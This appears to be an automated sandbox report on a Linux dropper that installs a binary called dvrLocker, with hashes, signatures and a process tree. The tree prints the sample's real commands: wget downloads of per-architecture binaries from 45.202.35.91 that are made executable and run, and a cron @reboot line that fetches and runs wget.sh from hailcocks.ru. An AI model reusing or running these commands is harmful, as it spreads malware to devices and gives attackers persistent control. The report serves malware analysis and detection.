Analysis
- max time kernel
149s - max time network
143s - platform
debian-9_mips - resource
debian9-mipsbe-20240611-en - resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
08/11/2024, 04:00
Static task
static1
Behavioral task
behavioral1
Sample
de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown
Resource
debian9-mipsel-20240226-en
General
- Target de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown
- Size 911B
- Sample241108-ekl42strat
- SHA256 de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7
- MD5 1380eba4d1ffd71daf49885d1dbab4ff
- SHA1 b9ae1ff734b67cf4a8483b5eccd658167e09b4f4
- SHA512 da139c4dc62983f8c143b069e32dfb0f4d5b17fb57c72944c8fca30a3fb72cbda76322d853a5fa49bde5e1c822b351e8a360bfb4dd525c42dd227324462f9c83
- MD5 SHA1 SHA512
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 22 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 905 chmod 909 chmod 913 chmod 819 chmod 877 chmod 885 chmod 893 chmod 901 chmod 921 chmod 808 chmod 822 sh 856 chmod 864 chmod 897 chmod 844 chmod 873 chmod 917 chmod 852 chmod 860 chmod 869 chmod 881 chmod 889 chmod - Executes dropped EXE 7 IoCs
ioc pid Process /tmp/lib/dvrLocker 809 dvrLocker /tmp/lib/dvrLocker 821 dvrLocker /tmp/lib/dvrLocker 846 dvrLocker /tmp/lib/dvrLocker 853 dvrLocker /tmp/lib/dvrLocker 857 dvrLocker /tmp/lib/dvrLocker 861 dvrLocker /tmp/lib/dvrLocker 865 dvrLocker - Renames itself 1 IoCs
pid Process 821 dvrLocker - Unexpected DNS network traffic destination 2 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 139.84.165.176 Destination IP 51.158.108.203 - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.PrCm3s crontab - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself /bin/busybox telentd 821 dvrLocker -
description ioc Process File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/865/status dvrLocker File opened for reading /proc/868/status dvrLocker File opened for reading /proc/876/status dvrLocker File opened for reading /proc/919/status dvrLocker File opened for reading /proc/922/status dvrLocker File opened for reading /proc/880/status dvrLocker File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems mkdir File opened for reading /proc/mounts dvrLocker File opened for reading /proc/1/cmdline dvrLocker File opened for reading /proc/879/status dvrLocker File opened for reading /proc/882/status dvrLocker File opened for reading /proc/903/status dvrLocker File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/844/status dvrLocker File opened for reading /proc/856/status dvrLocker File opened for reading /proc/902/status dvrLocker File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/713/cmdline dvrLocker File opened for reading /proc/907/status dvrLocker File opened for reading /proc/893/status dvrLocker File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/875/status dvrLocker File opened for reading /proc/878/status dvrLocker File opened for reading /proc/889/status dvrLocker File opened for reading /proc/906/status dvrLocker File opened for reading /proc/913/status dvrLocker File opened for reading /proc/920/status dvrLocker File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems crontab File opened for reading /proc/835/status dvrLocker File opened for reading /proc/filesystems ls File opened for reading /proc/905/status dvrLocker File opened for reading /proc/912/status dvrLocker File opened for reading /proc/914/status dvrLocker File opened for reading /proc/917/status dvrLocker File opened for reading /proc/849/status dvrLocker File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/892/status dvrLocker File opened for reading /proc/896/status dvrLocker File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/709/cmdline dvrLocker File opened for reading /proc/877/status dvrLocker File opened for reading /proc/918/status dvrLocker File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls - System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 900 wget 903 rm 812 wget 831 rm 872 wget 875 rm - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/lib/dvrLocker de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown
Processes
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/tmp/de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown/tmp/de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown1⤵
- Writes file to tmp directory
PID:709 -
/bin/lsls -l /proc/1/exe2⤵PID:711
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/bin/lsls -l /proc/10/exe2⤵
- Reads runtime system information
PID:714
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/bin/lsls -l /proc/11/exe2⤵
- Reads runtime system information
PID:719
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/bin/lsls -l /proc/114/exe2⤵
- Reads runtime system information
PID:725
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/bin/lsls -l /proc/12/exe2⤵
- Reads runtime system information
PID:728
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/bin/lsls -l /proc/124/exe2⤵PID:732
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/bin/lsls -l /proc/125/exe2⤵
- Reads runtime system information
PID:735
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/bin/lsls -l /proc/13/exe2⤵
- Reads runtime system information
PID:737
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/bin/lsls -l /proc/14/exe2⤵PID:738
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/bin/lsls -l /proc/15/exe2⤵PID:741
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/bin/lsls -l /proc/154/exe2⤵PID:742
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/bin/lsls -l /proc/16/exe2⤵
- Reads runtime system information
PID:744
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/bin/lsls -l /proc/161/exe2⤵PID:747
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/bin/lsls -l /proc/17/exe2⤵PID:748
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/bin/lsls -l /proc/179/exe2⤵
- Reads runtime system information
PID:750
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/bin/lsls -l /proc/18/exe2⤵PID:751
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/bin/lsls -l /proc/19/exe2⤵
- Reads runtime system information
PID:752
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/bin/lsls -l /proc/2/exe2⤵
- Reads runtime system information
PID:754
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/bin/lsls -l /proc/20/exe2⤵PID:755
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/bin/lsls -l /proc/21/exe2⤵PID:756
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/bin/lsls -l /proc/22/exe2⤵PID:757
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/bin/lsls -l /proc/23/exe2⤵
- Reads runtime system information
PID:758
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/bin/lsls -l /proc/235/exe2⤵
- Reads runtime system information
PID:759
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/bin/lsls -l /proc/24/exe2⤵
- Reads runtime system information
PID:760
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/bin/lsls -l /proc/3/exe2⤵
- Reads runtime system information
PID:761
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/bin/lsls -l /proc/320/exe2⤵PID:762
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/bin/lsls -l /proc/322/exe2⤵PID:763
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/bin/lsls -l /proc/324/exe2⤵
- Reads runtime system information
PID:764
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/bin/lsls -l /proc/325/exe2⤵
- Reads runtime system information
PID:765
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/bin/lsls -l /proc/350/exe2⤵PID:766
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/bin/lsls -l /proc/36/exe2⤵PID:767
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/bin/lsls -l /proc/37/exe2⤵PID:768
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/bin/lsls -l /proc/372/exe2⤵PID:769
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/bin/lsls -l /proc/374/exe2⤵PID:770
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/bin/lsls -l /proc/385/exe2⤵PID:771
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/bin/lsls -l /proc/4/exe2⤵PID:772
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/bin/lsls -l /proc/432/exe2⤵
- Reads runtime system information
PID:773
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/bin/lsls -l /proc/5/exe2⤵
- Reads runtime system information
PID:774
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/bin/lsls -l /proc/6/exe2⤵PID:775
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/bin/lsls -l /proc/669/exe2⤵PID:776
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/bin/lsls -l /proc/674/exe2⤵PID:777
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/bin/lsls -l /proc/676/exe2⤵PID:778
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/bin/lsls -l /proc/677/exe2⤵PID:779
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/bin/lsls -l /proc/687/exe2⤵
- Reads runtime system information
PID:780
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/bin/lsls -l /proc/7/exe2⤵
- Reads runtime system information
PID:781
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/bin/lsls -l /proc/70/exe2⤵PID:782
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/bin/lsls -l /proc/701/exe2⤵
- Reads runtime system information
PID:783
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/bin/lsls -l /proc/702/exe2⤵PID:784
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/bin/lsls -l /proc/704/exe2⤵PID:785
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/bin/lsls -l /proc/706/exe2⤵PID:786
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/bin/lsls -l /proc/707/exe2⤵
- Reads runtime system information
PID:787
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/bin/lsls -l /proc/708/exe2⤵
- Reads runtime system information
PID:788
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/bin/lsls -l /proc/709/exe2⤵PID:789
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/bin/lsls -l /proc/71/exe2⤵PID:790
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/bin/lsls -l /proc/710/exe2⤵PID:791
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/bin/lsls -l /proc/72/exe2⤵PID:792
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/bin/lsls -l /proc/73/exe2⤵PID:793
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/bin/lsls -l /proc/74/exe2⤵PID:794
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/bin/lsls -l /proc/75/exe2⤵PID:795
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/bin/lsls -l /proc/76/exe2⤵
- Reads runtime system information
PID:796
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/bin/lsls -l /proc/77/exe2⤵PID:797
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/bin/lsls -l /proc/78/exe2⤵
- Reads runtime system information
PID:798
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/bin/lsls -l /proc/8/exe2⤵
- Reads runtime system information
PID:799
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/bin/lsls -l /proc/81/exe2⤵PID:800
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/bin/lsls -l /proc/82/exe2⤵
- Reads runtime system information
PID:801
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/bin/lsls -l /proc/84/exe2⤵PID:802
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/bin/lsls -l /proc/9/exe2⤵
- Reads runtime system information
PID:803
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/bin/rmrm -rf /tmp/lib/2⤵PID:804
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/bin/rmrm -rf /tmp/lib/dvrLocker2⤵PID:805
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/bin/mkdirmkdir /tmp/lib/2⤵
- Reads runtime system information
PID:806
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/usr/bin/wgetwget http://45.202.35.91/mpsl -O -2⤵PID:807
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:808
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/tmp/lib/dvrLocker./dvrLocker tplink.new2⤵
- Executes dropped EXE
PID:809
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/bin/rmrm -rf mpsl2⤵PID:811
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/usr/bin/wgetwget http://45.202.35.91/mips -O -2⤵
- System Network Configuration Discovery
PID:812
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:819
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/tmp/lib/dvrLocker./dvrLocker tplink.new2⤵
- Executes dropped EXE
- Renames itself
- Changes its process name
- Reads runtime system information
PID:821 -
/bin/shsh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"3⤵
- File and Directory Permissions Modification
PID:822 -
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:825
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:826
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/bin/rmrm -rf mips2⤵
- System Network Configuration Discovery
PID:831
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/usr/bin/wgetwget http://45.202.35.91/arm -O -2⤵PID:835
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:844
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/tmp/lib/dvrLocker./dvrLocker tplink.new2⤵
- Executes dropped EXE
PID:846
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/bin/rmrm -rf arm2⤵PID:850
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/usr/bin/wgetwget http://45.202.35.91/arm5 -O -2⤵PID:851
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:852
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/tmp/lib/dvrLocker./dvrLocker tplink.new2⤵
- Executes dropped EXE
PID:853
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/usr/bin/wgetwget http://45.202.35.91/ppc -O -2⤵PID:855
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:856
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/tmp/lib/dvrLocker./dvrLocker tplink.new2⤵
- Executes dropped EXE
PID:857
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/bin/rmrm -rf ppc2⤵PID:858
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/usr/bin/wgetwget http://45.202.35.91/arm7 -O -2⤵PID:859
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:860
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/tmp/lib/dvrLocker./dvrLocker tplink.new2⤵
- Executes dropped EXE
PID:861
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/bin/rmrm -rf arm72⤵PID:862
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/usr/bin/wgetwget http://45.202.35.91/x86 -O -2⤵PID:863
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:864
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/tmp/lib/dvrLocker./dvrLocker tplink.new2⤵
- Executes dropped EXE
PID:865
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/bin/rmrm -rf x862⤵PID:866
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/bin/rmrm -rf /mnt/dvrLocker2⤵PID:867
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/usr/bin/wgetwget http://45.202.35.91/mpsl -O -2⤵PID:868
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:869
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:870
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/bin/rmrm -rf mpsl2⤵PID:871
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/usr/bin/wgetwget http://45.202.35.91/mips -O -2⤵
- System Network Configuration Discovery
PID:872
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:873
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:874
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/bin/rmrm -rf mips2⤵
- System Network Configuration Discovery
PID:875
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:877
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:878
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/bin/rmrm -rf arm2⤵PID:879
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/usr/bin/wgetwget http://45.202.35.91/arm5 -O -2⤵PID:880
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:881
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:882
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/bin/rmrm -rf arm52⤵PID:883
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/usr/bin/wgetwget http://45.202.35.91/ppc -O -2⤵PID:884
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:885
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:886
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/bin/rmrm -rf ppc2⤵PID:887
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/usr/bin/wgetwget http://45.202.35.91/arm7 -O -2⤵PID:888
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:889
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/bin/rmrm -rf arm72⤵PID:891
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/usr/bin/wgetwget http://45.202.35.91/x86 -O -2⤵PID:892
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:893
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:894
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/bin/rmrm -rf x862⤵PID:895
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/usr/bin/wgetwget http://45.202.35.91/mpsl -O -2⤵PID:896
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:897
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:898
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/bin/rmrm -rf mpsl2⤵PID:899
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/usr/bin/wgetwget http://45.202.35.91/mips -O -2⤵
- System Network Configuration Discovery
PID:900
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:901
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:902
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/bin/rmrm -rf mips2⤵
- System Network Configuration Discovery
PID:903
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/usr/bin/wgetwget http://45.202.35.91/arm -O -2⤵PID:904
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:905
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:906
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/bin/rmrm -rf arm2⤵PID:907
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/usr/bin/wgetwget http://45.202.35.91/arm5 -O -2⤵PID:908
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:909
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:910
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/bin/rmrm -rf arm52⤵PID:911
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/usr/bin/wgetwget http://45.202.35.91/ppc -O -2⤵PID:912
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:913
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:914
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/bin/rmrm -rf ppc2⤵PID:915
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/usr/bin/wgetwget http://45.202.35.91/arm7 -O -2⤵PID:916
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:917
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/bin/rmrm -rf arm72⤵PID:919
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/bin/chmodchmod 777 dvrLocker2⤵
- File and Directory Permissions Modification
PID:921
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/mnt/dvrLocker./dvrLocker tplink.new2⤵PID:922
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/bin/rmrm -rf x862⤵PID:923
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/lib/dvrLocker
- Size 100KB
- SHA256 b1e8713db49c15b272baa11e5569ecb4f22fd6064f5aa59ed236d0af58f159a1
- MD5 4ad582d49f505bfab7de84881998685b
- SHA1 5f09f4baed114b594729ded91e2c4d263f0e2754
- SHA512 6f35bfb8aca5fd02f6e690fe0628595531dba7463265b1a66ff801c7744690f3317f611ab07e45fdfc28a17a32a891de92b1d026de30bf327aa304395b0905f4
- SSDEEP 1536:F5qh1zJkioSuNxDlUllHCWcTE8NgZFsbNwGEalou39P6pI:F5qh1i1SlTcTzNgrz06pI
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/lib/dvrLocker
- Size 99KB
- SHA256 fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d
- MD5 559f129d380ad1cfb60792c6b2dc3d32
- SHA1 3997a0fc0bd5958783f1751364ec407c5b170adc
- SHA512 9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112
- SSDEEP 1536:1LuJu12iTfjZWMQ1PYQoUfV2uV2RM2ev82krWtESNUngvReJAbdO2IAo:1ufmWxloUQ2kitt9+2IP
- MD5 SHA1 SHA512 SSDEEP
- Path /var/spool/cron/crontabs/tmp.PrCm3s
- Size 306B
- SHA256 3e434887a24936b2cfbe5e9dbc613657ac3b0e534615461a9031e5be00ce3248
- MD5 1687b3d3f57596f25f51b62eb91b50c0
- SHA1 56df94e1152994137be8d2958b20238753664a69
- SHA512 1c6323c0f7675983cfd0d9b5cd9770e6fe604db8c095f97e82f99497e529a69cbd8865d7f9601d93d0a0d5597d456c3cc36b8b60e0d4d5f547302e7080020bc3
- MD5 SHA1 SHA512